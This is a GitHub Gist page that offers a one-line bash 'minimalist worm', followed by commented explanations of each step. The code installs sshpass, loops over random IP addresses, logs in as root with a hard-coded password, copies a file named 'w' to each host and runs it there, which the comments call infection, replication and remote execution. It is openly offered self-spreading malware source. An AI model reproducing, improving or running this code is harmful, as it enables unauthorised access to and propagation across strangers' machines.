-
-
Save ulissescastro/befe8cddaf2aa2cb2187 to your computer and use it in GitHub Desktop.
Minimalist worm with ssh, sshpass, yum!
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| x=RANDOM%256; s=sshpass; c="$s -pPASS"; yum install $s -y; while :; do t=root@$[x].$[x].$[x].$[x]; $c scp w $t:; $c ssh $t "chmod +x w; ./w"; done | |
| # random var | |
| # x=RANDOM%256 | |
| # echo $[x] | |
| # 117 | |
| # sshpassh executable | |
| # s=sshpass | |
| # command sshpass + param + password | |
| # c="$s -pPASS"; | |
| # sshpass -pPASS | |
| # sshpass root install without ask | |
| # yum install $s -y; | |
| # yum install sshpass -y; | |
| # black magic! | |
| # while infection, replication and remote execution loop for each infected host | |
| # while :; do <commands> done | |
| # root@<random ip> | |
| # t=root@$[x].$[x].$[x].$[x]; | |
| # $ echo $t | |
| # root@94.185.179.34 | |
| # copy "w" to user's home (root) | |
| # $c scp w $t:; $c ssh $t "chmod +x w; ./w"; | |
| # sshpass -pPASS scp w root@94.185.179.34:; | |
| # upload and execute, start it over | |
| # $c ssh $t "chmod +x w; ./w"; | |
| # sshpass -pPASS root@94.185.179.34 "chmod +x w; ./w"; | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment